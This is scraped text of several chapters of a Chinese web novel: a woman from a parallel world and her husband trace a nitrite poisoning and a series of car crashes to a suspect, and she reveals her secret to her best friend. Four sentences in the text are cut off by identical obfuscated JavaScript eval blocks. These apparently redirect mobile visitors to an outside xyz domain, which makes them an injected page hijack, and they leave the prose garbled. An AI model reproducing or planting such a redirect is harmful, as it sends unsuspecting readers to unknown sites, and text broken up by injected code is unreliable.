这,就是他中毒的原因。 那盒有毒的盒饭,原本应该是徐箴言吃下。 …… 下午五点,林菀刚刚送走结束今日课程的麦柯和商皓宸,回到客厅还没来得休息就又听得门铃响。 开门一看,竟然是林珠莉。 林珠莉穿着休闲版型的浅灰色西装西裤,手臂里挽着一只昂贵的黑色大牌包。别人包里可能装着粉饼、口红等体积小的随身物品,可她的包包已经被塞得扣不住,包包一角露出厚厚一摞资料文件。 “没想到我会来吧?”林珠莉牵起嘴角一边笑了一下,环视四周,“这屋子收拾得不错,装修也可以。” 这句评论一出口,林菀便意识到母亲竟然是第一次来她的家里。 “秦经理路过这边,我就让他顺道送我过来。”自从在车上发现尖吻蝮后,林珠莉出行便谨慎又谨慎,轻易不自驾,出差也比之前提防更多。她是一个精力旺盛的人,一天之内睡觉也就五六个小时,所以花时间思考这些对她来说不算困难。 “秦经理计划举办你父亲的个人大型画展。计划书已经出来了,你也看看,到时候去开幕站个台。”她坐到沙发上,从包里掏出各种文件资料。 秦经理显然熟悉林珠莉的作风,连PPT都是一页页打印出来订好给她看。 林菀坐到母亲对面。她所料果然没错,鉴定师说的琴姓策展人就是秦文翰,“大型画展是有多大?” “他计划展出林乃岳自入行以来的大部分经典作品,预计在一百幅画以上,当然其中大部分需要跟收藏家们进一步商洽。”林珠莉说道,“新官上任三把火,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102853|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不例外,铆足了劲儿要干大事。” “整个展览布置下来,需要多长时间?”林菀将茶水放下,翻看计划书。 “秦经理说三个月之内完成,在林乃岳生日当天开幕。”林珠莉端起杯子,语气听不出情绪,“我倒看看他能不能做到。”如果虎头蛇尾,林珠莉也有准备。场馆方面,她有熟人。至于打点收藏家,周城便可以,他在艺术圈的朋友多。 林菀沉默片刻,“你觉得……他有可能画出一百多幅名作吗?”这个“他”指的是谁,不言而喻。 “梵高英年早逝,也画了一千多幅画。你父亲虽然不能与梵高肩并肩,但在绘画方面,勤奋程度不在话下,成名后出门写生,一年都不会回家几次。”林珠莉淡淡地说。 这最后半句话让林菀瞬间抬起头看向她。 然而林珠莉脸色未变,仿佛闲聊一般换了话题,“对了,你前几天问过我,刘经理的情况。”她平静地说,“他死了。” “他——”林菀难以置信,舌头打了个结,“我还没来得及找他。” “他今儿个中午喝酒后在车子里睡觉,缺氧窒息闷死了。”林珠莉本不打算细说,但看林菀拧起眉头匪夷所思的模样,便又简单说了几句,“莱城这几天高温,露天停车场地面温度快六十度。车里简直是个大烤箱。他出事后,是打扫的清洁工发现的。可偏巧清洁工老太太的儿子是他家老房子的对门邻居。”这种带点花边的新闻,在圈子里传得快极了。 “不是……他家里人报警了吗?”林菀左思右想都觉得不可思议,怎么偏偏在她发现刘经理经手的画有猫腻之后,他就出事了? “没有,”林珠莉重新看向女儿,“他们丢不起这个脸。刘经理是从足浴按摩店出来后出事的,车就停在店旁边的停车场。他在店里短短一个小时消费了三千块钱,其中两千八百块是用现金付款。” 话已至此,不用再挑明。在移动支付盛行的今天,需要进行某些不法交易的足浴按摩爱好者们会时不时取固定数目的现金,线下交易,以躲避警察扫黄时调查微信支付记录,按图索骥抓人。 而刘经理的儿子马上要结婚,全家人都丢不起这个脸。 37. 林菀的面片汤 警察的走访询问对象,从老杜变成了徐箴言。 当两位警察向他出示银行厨房后台一个手臂有纹身的年轻人照片时,徐箴言思考数秒,“不认识。” “确定?在食堂吃饭时你可能见到过孟豪。” “没有。”徐箴言很快回答。 警察已经跟徐箴言说明了孟豪投毒的前因后果——他听厨房采购人总念叨肉价贵且放时间长了还不新鲜,便想起来之前在其他餐厅后厨工作的某些不法经验,私下购买亚硝酸盐,打算给采购人送礼。只不过当他还没来得及说时,厨师阴差阳错将仓库里的亚硝酸盐当成普通盐使用。万幸的是当时制作的那一批盒饭只缺最后一份卤鸡腿。厨师从冻库拿出一只没放盐保存的卤鸡腿,加热煮熟,撒上亚硝酸盐。 “虽然这么说……”警察沉默了一下,“但我们知道你之前被毒贩袭击的事故……情况比较特殊。那么这次也不能排除是贩毒团伙伺机报复。我们联系了戒毒所和监狱,会跟那边保持沟通。你注意安全。” 时隔一年再次听到这个消息,徐箴言略有诧异地抬眉看向警察。警察眼里的认真不是开玩笑。 “谢谢,你们也辛苦了。”徐箴言回神,起身跟他们握手。 询问结束后从会议室出来时,已经快到下班时间。走廊上满是关心等待的同事。为首的陈姐迫不及待地迎上来,“怎么样?警察说啥了?” “没什么。”徐箴言甚至轻松地笑了笑,“我能有什么仇人,要追溯就是小时候绊摔了幼儿园同学。” “你竟然还有心思开玩笑。”陈姐摇摇头。 “可箴言说得对啊。”又有人说,“我是不信他得罪了谁的。” 徐箴言人缘好,乃至有同事专门把开过光的十八子手串拿来给他辟邪用。 回到工位,他也没法静心工作,不停有热心同事过来询问情况。他抽空走到茶水间,一边冲咖啡,一边给在消防队的朋友江小姗打电话。 电话接通后,他三言两语简短地说明情况,“你平时休假出门也多注意。我怀疑是他们。” “这还用怀疑吗?肯定是那伙毒贩余孽啊。真是坐牢都阴魂不散。”所谓百足之虫死而不僵,江小姗郁闷地吐槽,“你怎么听着丝毫不急?” 徐箴言喝了口咖啡,“我正在想办法。”他不是不急,而是急也无济于事,冷静下来思考问题才是处理事情的正确方法。“有新情况我再告诉你。” …… 晚上七点,徐箴言打开林菀家的大门,瞧见客厅里坐着看资料的人竟然是林珠莉,而林菀则从厨房探出头,“来啦。” “嗯。”徐箴言将手里的港式烧鸭放到一边,跟林珠莉打招呼,“您好。” 林珠莉放下官司资料,“好久不见了。”她的态度疏离又客气,但并不是针对徐箴言,而是她性格本就这样。 “不清楚您今天在这儿,早知道我就把礼物拿过来了。”徐箴言微笑着说。 “你买了什么?”林珠莉扬眉。 “獬豸摆件,适合放在办公室。”他买了一个很贵重的摆件。 獬豸是古代传说中的神兽,象征着明辨是非曲直,维护公平正义。对于林珠莉这种经营律所的事业型女性来说,獬豸摆件是个极好的礼物,既暗夸了她作风正派,又符合行业风格,适宜装饰办公室。如果徐箴言选择送化妆品、丝巾、首饰之类的,以林珠莉的性格来说,她虽不至于有所鄙夷,但也不会另眼相待这个蒙了自己许久的女婿。 果然,林珠莉满意地笑了一下,“直接寄到我律所吧,谢谢你。” “您不需要跟我客气。我明天送过来。”他说着去厨房看林菀,将她念叨想吃的港式烧鸭拿进来,“……在做什么?” 厨房料理台上一片狼藉,到处都是面粉,旁边还放着几个切开的西红柿和洋葱。 “面片汤。”林菀满手都是黏糊糊的面粉浆糊,“我妈说她想吃这个。” 林珠莉本意是说个简单的一锅炖菜式,别整大鱼大肉的让她鲜少下厨的女儿犯难。而林菀信誓旦旦说没问题后,到厨房查菜谱才发现还得和面。 林菀不会做饭。因为二叔家是开五金店的,她在不上学的日子里,除了接送堂弟,就是从早到晚守在收银台后面,要不然给搞批发的顾客数几百个编织袋,要不然就是一米一米地算着顾客需要的绳子长度。店里空间小,无法做饭。她多数时候是吃馒头就咸菜,或者二叔有时来换班时会给她带个饭。等到毕业后上班,林菀要不然吃食堂,要不然点外卖。 所以此刻,一道普普通通的面片汤让她犯了难。 “出去休息。”徐箴言已经脱了外套,主动拿起围裙,“我来。” “我给你打下手——” “听我的,出去跟你妈聊天。”徐箴言将她拉到水池边,打开水龙头给她洗手,“你在这儿反而耽搁事儿。我很快搞定。” “……好吧。”林菀迟疑地朝客厅扫了一眼,她妈妈正在认真看资料,“听说,刘经理死了。” 徐箴言错愕地放下手。 她讲了刘经理出事的经过,“时间上太巧了,对吧?” 确实巧,可单独拎这意外事件出来说,没有一丝可疑的地方,都是刘经理自己作孽。徐箴言想了想,“或许能从那个洗浴中心了解点不同信息,我去问问。”他在警察系统有朋友,之前也有做这行的客户。 半个小时后,徐箴言端出来三份热气腾腾的西红柿鲜虾面片汤。就着他带来的港式烧鸭,三人一起吃晚饭。 看着卖相极好的面片汤,林珠莉不由得打量了徐箴言好几眼。她不动声色地坐下来,拿起勺子尝了尝味道。 在徐箴言进厨房时,她注意到了,但也没有说些让林菀学做饭的漂亮话。因为她从来没有要求林菀学做饭洗衣操持家务。她是一个母亲,教养的是希望成就个人伟大梦想的女儿。别的家长怎么对待野心勃勃的男孩,她就怎么一视同仁地对待自己的女儿,她提供给她实现梦想的机会,而不是仿佛一个假婆婆一样规训她成为一个贤良的妻子,好在嫁人后伺候他人。 “吃完饭,我来洗碗。”林菀不清楚母亲的思量,只想自己不能白吃一场。 “你今天练琴时间够了吗?如果没够,可以去练琴。”徐箴言说。 林珠莉打断他们的聊天,对着徐箴言说:“我有几个事情要咨询你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“为什么非得要做事呢?又不是只有帮我做事了才值得被喜欢。” “可是总得有个理由吧?” 徐箴言叹了口气,“感情不需要附加值理由,非得说,那就是因为是你。”他放在心上的,就是单纯她这个人。 徐箴言手下使力,将她抱到自己腿上。他刮了刮她的鼻子,语气变得愈加温柔,“我们……继续隐婚,好不好?还不知道我们关系的,就别说了。” “为什么?” 徐箴言尽量平和地讲述了中毒事件,“我怀疑还是几年前那帮毒贩。总之,得注意一些。”他摸摸她的头发,“抱歉,又让你担心了。”最重要的是不要将林菀牵扯进来。 林菀无声地摇摇头。她紧紧抱住他的脖颈,以此来感受彼此的存在,也似乎想将自己的力量传递过去。徐箴言的镇定,是她最好的强心针。经历过如此多的事情,她已经能最大程度调动自己,面对一切风暴。 “警察说表面看亚硝酸盐盒饭只是一系列巧合造成。帮厨孟豪私自买了——” “等等,谁?孟豪?”林菀直起身,觉得这个名字似乎在哪里听到过。 “你知道这个人?”徐箴言立即问。 林菀仔细地回忆着,一遍遍在脑海里寻找。终于,她在记忆长河的某一角准确抓取到这个名字——在服务生为了敲诈而导致连环追尾事件发生后,林菀重新返回饭店打探消息。经理告诉她,撞林珠莉车的人被警察抓走后,他好几个同乡也纷纷辞职,包括后厨传菜员孟豪。 38. 普通人林菀 涂淼盘下五层临街烂尾楼已经有一段时间。这些日子里,她一边忙活工作室的事情,一边在这里监督重建和装修。如今,大楼已经整理好外墙,贴上漂亮的淡紫色玻璃,并开始内部装修。 涂淼戴着安全头盔,站在楼前新建的喷水池前,跟包工头一起挥斥方遒,“对,我的要求就是一定要有高级感!这几种瓷砖颜色都不够大气,再挑挑。” 她话音刚落,便有一辆车在门口停下来。 “哎,你们怎么来了?”涂淼看到林菀和徐箴言从车里下来,很是惊讶,“箴言你不上班啊?” “早,我待会就去。”徐箴言看了下时间。现在是早上七点半。而建筑工地一般开工早,六点就上班。 “昨晚问我今天的安排,我以为是要请我吃饭呢,搞半天是想来看我的楼。但不能现在进去看啊,我要卖个关子。”涂淼有些得意。她对自己的审美与设计一向自信,所以想要最终让大楼焕然一新闪亮登场,接受大家的彩虹屁夸奖,“等我全部搞定再来参观。到时候一定亮瞎你们的眼睛。” 林菀说道:“行,不进去看。不过还有其他事情找你。” “王总你去忙吧。”涂淼摘下安全帽,跟包工头说拜拜。 林菀立即将涂淼拉到车边,“还记得我们一起去五龙区那家粤餐厅吃饭么?在那边偶遇我妈。” “哦,记得。”涂淼突然发现林菀和徐箴言站得不近,仿佛避嫌似的。 “她的客人突然冲出来,撞倒一个服务员。你还记不记得那个服务员长什么样?”林菀当时满心眼都在观察林珠莉,没有刻意留意服务员的长相。 “这谁还记得?都过去好久了,路人甲一个。” 徐箴言闻言掏出手机,点开从警察那里拿到的后厨监控视频,“像这个男的吗?” 涂淼皱着眉头左看右看,最终点点头,“挺像的。”当时服务员被撞后,她俩点的冰沙都泼到他身上,白色袖子透出模糊纹身图案。涂淼注意到了这一点。 “不过,”涂淼顿了顿,说出她的新发现,“这个人是榆乡的啊,听口音蛮明显。” 榆乡两个字如蜂针一样刺痛了林菀的神经。她错愕几秒,猛地抓住涂淼的胳膊,“他是庞涛的老乡?” 在原本的世界,她没有听庞涛讲过家乡话,也不清楚榆乡口音是什么样,但从法院出具的终审结果看,庞涛的老家就是榆乡。 “你怎么知道庞涛是榆乡人?”涂淼很是诧异。她知道这事儿还是在理财接洽时,偶然听见庞涛接老家人的电话。他说的是家乡话,而不是普通话。 林菀来不及回答,她的大脑飞速运转,在自己都没意识到之前已经开口,“开车撞我和我妈的服务生好像也带点这个口音——” 林菀话还没说完,徐箴言就毫不犹豫地转身打开车门,“我去单位找他套话。”后座上还有他今天带出来的要送给林珠莉的摆件礼物。 “快去。我今天就跟涂淼在一起。”林菀脸色微白,但神情镇定。 涂淼满头雾水地看着徐箴言迅速开车离去,一颗心提起来,“到底怎么回事?” …… 来到银行,徐箴言先去隔壁咖啡店拎了两杯馥芮白,然后回工位放下电脑包就去庞涛所在的部门。 “哟,徐总怎么大驾光临了。”一个男同事大早上就在门口的饮水机接水吃护肝片。 “少揶揄我。”徐箴言笑着扫了眼办公区,庞涛的位置空着,“庞经理还没来上班?” “他昨晚十点突然在群里请了一周假,说阑尾炎犯了,得做手术。今天上班我们还得分他手头的活儿。本来事情就多,唉。”男同事吃完护肝片又开始倒维生素片。 “庞经理最近身体挺不好,前几天还起了一身荨麻疹,总是往医院跑。”另一个女同事补充。 “你找他做什么事?”男同事又问。两个部门之间可没有直接合作关系。 “老杜转岗之前跟他共事好几年,听说关系不错。”徐箴言自然地回答,脸色没有任何异样,“我问他要不要一起去看老杜。” “哦。”男同事一听就明白了,老杜中毒这事儿在单位里传得沸沸扬扬,各种花边传闻都冒出来。“听说庞哥跟老杜还是同届校友呢。不过你这趟就白跑啦。” “没事,”徐箴言将一杯咖啡递给他,“谢了。” 待徐箴言离开,旁边一直默默围观的新入职同事盯着他的背影,“这谁?” “投资银行部的,富二代,高富帅,比咱有钱诶,还比咱努力。”男同事将一把维生素就着咖啡灌下去,“别招惹他。我们这种小人物,安安分分苟着就行了。” …… 回到办公室,徐箴言联系人事,知道了庞涛假条上写的医院。他独自去会议室打了个电话,却得知—— “系统里没这个病人,他不在我们医院住院。” “好的,谢谢。” “客气了。” 徐箴言挂断电话,沉默地思考着,手里拿着一支笔,轻轻地在桌上敲。这个结果虽然有点意外,但也在他预料之内。 想起庞涛曾经在老杜所在医院出现过,他又给那边医院熟人打了个电话。而对方也说在住院系统里没有查到庞涛这个人。 所以,庞涛临时请了一个星期的假,伪造病假条,他到底是做什么去了? …… “伪造假条?这不就是‘失踪’了吗?”林菀听着电话那端徐箴言说的话,越发觉得庞涛可疑。 “我在莱城最大的几家综合医院都有熟人,全部问过了,连分院都没有他的入院消息。” “他肯定是请假干别的事情,而且这个事情必须立刻办妥——”林菀猛地打住话头,看向还在打哈欠伸懒腰的涂淼。 此刻,她就在涂淼家。而涂淼正在收拾行李。涂淼之所以一大早就去工地,就是因为她上午就要收拾行李去北京出差。 讲完电话,林菀慢慢地将手机放下,头皮开始发麻。如果连环撞车和亚硝酸盐中毒都跟庞涛有关,那么林菀身边这些人里,唯一跟庞涛有过联系且还没出事的就只剩下涂淼。 涂淼的表情不是很满意,“银行食堂吃出人员中毒,让警察去调查就好了,你俩干嘛要掺和。”她边说边掏出密封袋打算装换洗衣物。 林菀一把拿走密封袋,定定望着她,语气不容置疑,“你今天哪里都不准去。接下来一个星期,你搬过来跟我一起住。” “姐姐,我是要去工作,不是去玩。”涂淼继续收拾行李,“你自己今天不练琴也就罢了,干嘛还阻拦我工作。” “我是认真的,你听我的话,今天别出门。”林菀摁住行李箱,心像是被被系上了千斤重的秤砣。为了说服涂淼,她必须道出实情,“中毒的人是吃了箴言的盒饭才出事。买亚硝酸盐的帮厨是庞涛的老乡,之前追尾我的可能也是庞涛的老乡。如果他们是团伙,如果庞涛想对你下手——” 涂淼叹了口气,坐到床边,有些无奈,也有些头疼,“警察都在调查了,还有谁这么大胆子能在他们眼皮子底下乱来?”而且,没有理由啊。 “庞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102855|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涛会。”林菀坦坦荡荡地看着她。曾经庞涛对涂淼家暴,报警依旧制止不了他继续下手。 “走,我们去报警。如果怀疑他,那就跟警察说清楚,让他们来调查。” “现在不能报警。”林菀眼底的冷静未减,眼神里有更为坚毅的情绪划过,“纵然我们怀疑这些事情可以串联起来,但箴言单位这事儿也有可能他之前处理过的毒贩做的。我不是娱乐圈的流量明星,但也算是一个名人,这段时间光媒体采访我就推掉了七个。而一旦我将追尾事件和箴言单位这事儿联系起来告诉警察——你觉得媒体不会闻风而动吗?我和他的关系会被曝光。万一真是毒贩做的,而那些事情只是巧合……我的安危不要紧。可我妈会有危险。箴言的姐姐和外甥女一家也会有危险。好几年了,毒贩都不肯放过他,还能放过他的家人?我不能付出如此大的代价。” 她咬紧了牙关,“最关键的是,我还没找到能将你们带走的办法。我不能让你、箴言还有我妈在此之前出事。”是的,她也希望将徐箴言带回原本的世界。 林菀顿了顿,声音略微喑哑但十分坚定,“就算赔上我的事业,我也不能让你们出事。” 这最后一句话说出来,空气突然安静。 涂淼心里咯噔一跳,刷地起身怒目而视,语气也变得尖锐,“你敢放弃小提琴试试。我一步一步爬到现在的位置,不是为了站在高处看你跟目光短浅的傻子一样亲手毁掉一切。你如果还看重我们俩的友谊,就别做些蠢事让我看不起你。” “你根本就不懂。”林菀突然笑了,笑得胸口绞痛,疼痛像蜘蛛爬网一般迅速蔓延至神经,可她依旧倔强地挺直脖子,绝不低头。“我做的事情,没有一件是错的。”她才是顾全大局的那个人。 “我确实不懂。以前野心勃勃井井有条的林菀哪里去了?这几个月你把生活与工作都过得乱七八糟,状况百出。你总是说要带我走,带我走。你是要带我去哪里?欧洲?美国?再怎么走不都是在地球么?想要彻底销声匿迹还能去外太空啊?”涂淼气得笑起来,她知道自己是在刺激林菀,可还是忍不住。她企图用这种方式将林菀唤回正轨,也只有这种激将法能释放她对林菀未来的担心。 然而,林菀闻言,久久无言。 最初,她面对随时可能丧命的生命危机,却依旧毫不犹豫地选择这个危险世界的原因,在于涂淼。 她想要拯救涂淼。 而后才有了许多事情。 可如今,涂淼却站在面前指责她,这种指责让林菀一直压抑的情绪终于冲到临界点,突破心防。 “我是要带你去另一个世界!”林菀的声音有些颤抖,“带你去一个庞涛已经死了,不会再伤害你的世界!我确实把日子过得乱七八糟,你说得对。因为我根本就不是那个年纪轻轻事业有成的著名小提琴家林菀!我是从小父母双亡,没机会学小提琴,长大了在公司里做一份平凡工作的上班族!” 她终于将心里憋闷了许久的秘密说了出来,畅快多了。这份秘密藏着她对爱人、亲人以及友人隐瞒身份的愧疚、不安与自惭,是她摆脱不掉的难言之隐。 此刻,她站在涂淼面前,将最原本的自身展示给她看。激动之后,她起伏的胸膛慢慢恢复平静,脸色淡淡,从容开口,“我不是你熟悉的好朋友,我没有母亲财力支持,没有成就自己的梦想,我是你在这个世界从没接触过的普通人。” 她是在莱城这片海洋里小小的一条沙丁鱼,逆流而冲,任洋流变化却不曾放弃,一直与汹涌的海潮勇敢搏斗,努力且渺小。 39. 涂淼的选择 “什么意思?”涂淼愣住了,下意识就过来要摸林菀的额头,看她是不是发烧了说胡话。 林菀却后退了一步,“还记得几个月前,我们一起去电影节颁奖典礼领奖么?” “记得啊。” 林菀放低了声音,眼神也变得水润温柔,“那是我第一次见到功成名就的你。” 她终于讲出了自己的故事,一个按部就班工作的普通人在出差回来后乘坐地铁进入另一个世界。在这个世界里她梦想成真,她的朋友也事业辉煌。唯一的问题是,她压根不会拉小提琴。 故事讲完,时间也慢慢过去。窗外日光炽亮,没有一丝风。绿树青草都在太阳下静默,而房间里只听得空调呼呼地吹。 涂淼没有再收拾行李,也没有说话。她只是望着远处的蓝天,一动不动。而时间早就过了她能赶上飞机的点儿。最终,她牵了牵嘴角,转身轻轻拍了拍林菀的头,“辛苦了,宝。”林菀能坚持到现在,真是太辛苦了。 那一瞬间,林菀感觉一股难以言说的情绪刷地冲到心头,鼻子也一阵酸堵。“你不觉得我在骗你?” “咱俩都多少年了,我还不了解你。这种严肃的事情,你不可能开玩笑的。”涂淼开始把行李箱里的衣服一件一件拿出来重新挂到衣柜里,“也不可能是胡诌,谁能撒谎几个月。”她能看出林菀当初拿着琴的状态的确是几乎没学过的样子,而且林菀精神稳定,不像是有问题。 林菀瞬间松懈了紧绷的肩膀,她慢慢地支撑着疲惫的身体靠着床沿坐到地毯上。她太累了,需要好好休息。 涂淼也在她身边盘腿坐下来,一起望着落地窗外的城市景色。虽然依旧震惊,但她在慢慢地消化林菀讲述的一切。“在那个世界,你过得好吗?” “好,”林菀深呼吸了一下,“一人吃饱,全家不饿。” “品牌运营……”涂淼思考着,“那你是不是不想当小提琴家了?” “不想的话,我现在就不会如此努力地练习了。”林菀垂眸看着放在膝头的手。手指上有拉琴形成的茧子。 “这么说,你在这边梦想成真了,对吧?”涂淼轻声笑着,搂住好友的肩膀,“一过来就发现自己是小提琴家,还拿到配乐大奖。难怪你当时感动到语无伦次。”她没有提起就快开演的音乐会,不想在此刻给林菀太多压力。 “是的,”林菀有些哽住,尽量平静地说道,“我没想到会和你一起站上领奖台。” “我也没想到你结婚会蒙着我呢。”涂淼耸耸肩,“在那边,你和徐箴言过得怎么样?”她注意到林菀形容自己一人吃饱,全家不饿。难道她还没跟他结婚? 林菀低低叹一口气,又努力笑了一下,“我不认识他。”这何尝不是她的心病。她的爱人在现实世界中是什么样的?为何偏偏遇不到? 涂淼静静地思考着。看来,在那边的世界里,林菀没有父母,没有爱人。而在这里,她不光有了母亲,还有徐箴言。沉默良久,她突然说道:“别告诉他们。” 林菀诧异地看着自己的好朋友。 涂淼再次强调,“别将你的真实身份告诉林女士和徐箴言。”她心想着,人终究是自私的。作为林菀的朋友,她在感情上义无反顾地偏向林菀,绝不会一碗水端平。“他们完全不知情,是有些可怜。可你也别被道德束缚……谁说非要跟他们坦白一切?其实,不知道你的真实背景反而对他们更好,不是么?免得带来那么多的操心事。” 不等林菀回话,涂淼继续劝说道:“不管你是普通的品牌运营还是伟大的小提琴家,我都能接受。可林女士和徐箴言呢?你妈妈和你的关系不冷不淡了十几年,这才有所起色。她在你的小提琴事业上十分激进——这样的人能接受你做普通的工作吗?而在徐箴言的认知里,你就是优雅靓丽,社会地位高的小提琴家。他有多看重你的事业?你说他连厨房都不让你进,怕伤手。所以……” 涂淼认真地一字一句叮嘱,“绝对不能告诉他们。当然我并不是说他们不是好人,也不是说普通工作不好。而是他们习惯了你小提琴家的身份,一旦有了巨大转变……没有办法预料到他们会怎么想。” 林菀知道涂淼完全为了她好,但以她自己的品性来看,根本不可能做到欺瞒一辈子。并且事情不是这样简单操办就能解决的。“我不能一直瞒着他们。如果想带大家去那个时空,就必须说得一清二楚——” 涂淼注意着林菀的严肃神色,并不极力否决,要不然这场对话进行不下去。她难得如此认真地分析情况,然后愿意后退一步。“如果你想告诉他们,就慢慢地铺垫。我们一起计划这件事。不过,大家现在都过得好,为什么非得去你说的另一个世界?” 这是涂淼最不理解的点。综合各种利益来看,保持现状最完美。她补充道:“一旦去那边,你就不是小提琴家了。” “我知道回去那边,我什么都不是。”林菀默然半晌,轻声开口,声音却很坚定,“可我愿意付出这样的代价,只要能让你们平安活下去。” 涂淼心头一跳。她知道林菀在那边不认识徐箴言,所以徐箴言的情况先打一个问号。而林珠莉则是已经离世。至于她自己…… “我在那边怎么了?”涂淼细品她的话,心跳渐渐发沉,“你刚刚说在颁奖典礼第一次看到功成名就的我,难道在那边我没有顺利拿奖吗?是谁拿了奖?难道还能找出比我更优秀的妆造师?” 这一连串问题让林菀心里堵得慌,她摁住心头的焦虑,反过来劝慰涂淼。“听着,在那边怎么样,并不代表你现在会走一样的路,明白吗?所以你要平心静气地听我讲。”林菀试图给涂淼做心理建设。 “我在那个世界到底是在做什么?” “……你跟我一样,”林菀声音喑哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102856|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“放弃了梦想。” 这话一出来,涂淼瞬间睁大眼睛。她不敢相信自己竟然会放弃做妆造。这怎么可能?她多么热爱这个行业。放弃梦想?简直天方夜谭。 林菀来不及多想,立即紧紧握住涂淼的手,“你现在过得很好,而且有我陪着,不要害怕。我讲的只是另一个世界的事情而已。你要淡定,因为这些你都没有体验过,不要觉得会发生在你身上。”她顿了顿,“在那边,你在横店过得很辛苦,没坚持当化妆师,后来回了老家结婚——” “我跟谁结婚了?”涂淼盯着她,直接打断她的话。 “庞涛。他屡屡家暴,最后——他杀了你。”林菀心里狠狠揪了一下。她不愿意说出实情,但眼下情况特殊,涂淼需要知道。 涂淼浑身一颤,她闭上眼睛,却紧紧攥了手指,手背上出现用劲凸显的青筋。身体的自保机制让她如遇到危险的寄居蟹一般猛然退缩到壳中的黑暗里,就如同急促车流当中的人会下意识忽略左右来车,觉得只要不看就会安全。 终于,她如梦初醒。难怪林菀在颁奖礼见到她便哭着说应该早点去救她。难怪林菀大半夜见到她时吓得跑了半条马路。难怪林菀见到庞涛的第一面就仿佛看到老鹰抓小鸡一样扑过来护住她。难怪林菀事后在半夜飞奔到她家,告诉她——“我想好了,不管我的命运如何,但是你必须活下去”。 涂淼闭眼缓了一会儿,重新睁开眼睛,视线变得清晰。眼前,林菀正担心地看着她。涂淼长长地深呼吸了一下,擦去眼角溢出来的水珠。她望着天花板,直到眼睛变得干涩。可扭头看到林菀,她还是再次笑着流泪,“你个大傻瓜,怎么独自坚持到现在的。” 林菀也笑着任由泪水模糊视线,“因为我有你们啊。”她伸手擦去涂淼的眼泪,“在那边,庞涛已经死了。所以只要你过去,就能过开心的日子——” “哎,”涂淼也用袖子擦擦眼睛,吸吸鼻子,“我说你笨是真的笨。先不提喊我们帮忙,你一个人干这些大事之前,起码问问我们的意见。至少我们拥有对自己命运的知情权吧。所以,我个人要郑重告诉你——” 她停顿片刻,任一阵阵针刺般的疼痛敲打着太阳穴。在这头痛之中,她明晰了自己要选择的道路,于是侧头看林菀,静了一会儿,“我不愿意过去。去了那边意味着我要重新白手起家,从头开始。可我不想再走这一趟了,太辛苦太累……我很贪恋如今的成绩与事业。所以,你就让我沉醉在这做梦一般的辉煌里吧。就算因为庞涛,一切会戛然而止——我也能坦然面对。”起码,她的确走到了梦想之巅,并且永远地停留在了这一刻。 就像裴多菲说生命诚可贵,爱情价更高,若为自由故,二者皆可抛。辉煌的事业,便是涂淼想要的“自由”。 她的话音落下,林菀便猛地抬头定定地望着她。 一时间,无人说话。 40. 夜访银行 良久,林菀再次开口:“好,我尊重你的决定。” 说出这句话对她来说十分艰难,但她的声音显得冷静。她不想歇斯底里地劝服涂淼。大家都是成年人了。她不强迫涂淼接受她的好意。每个人都有不同的人生抉择。就算是林菀自己也眷恋于这个世界的身份与生活。 “如果你有一天改变想法,记得告诉我。”她补充说。 “嗯。”涂淼笑了笑,又想起另外一个问题,“既然你是从另一个世界来,那我原本认识的林菀呢?为何你会慢慢拥有她的记忆?” “因为那也是我。”林菀轻声说,“你熟悉的那个小提琴家对我来说,是我在梦中的经历。” “那这个平行时空岂不是你的梦境世界,”涂淼开玩笑道,却不知她这话狠狠砸在了林菀心头。而林菀还不忍心告诉自己最好的朋友,她真的是活在梦中的人物。 “那么,”涂淼顿了顿,“你就让我活在‘梦中世界’里吧。”她重新搂住林菀的肩膀,歪歪头。 这句话将林菀的心揉得稀碎,她紧咬着牙,不敢回应。那一句“我尊重你的决定”已经用完她所有的理智与毅力。 林菀的沉默则让涂淼突然之间明白了为何自己在另一个世界会放弃梦想。因为在这个世界的她能坚持到如今,很重要的一点是她和林菀一直互相勉励——虽然走在不同的道路上,可她们一直彼此扶持。而在那边,她是一个人孤零零地战斗。 眼前的成功实在得之不易。所以就算要面对庞涛又如何?没有他,人生也会充满各种意外。 涂淼神情专注地继续说道:“你想做什么就去做吧。我来帮你。如果你想带你妈妈和徐箴言离开,那我们一起来找办法。不管发生什么事情,我都会陪在你身边。你的事就是我的事。”她又顿了顿,“我只希望,你不要轻易说放弃。” 一阵无法言说的情绪从心头猛地窜起,林菀嗯了一声,没有多说,唯恐泄露自己的情绪。 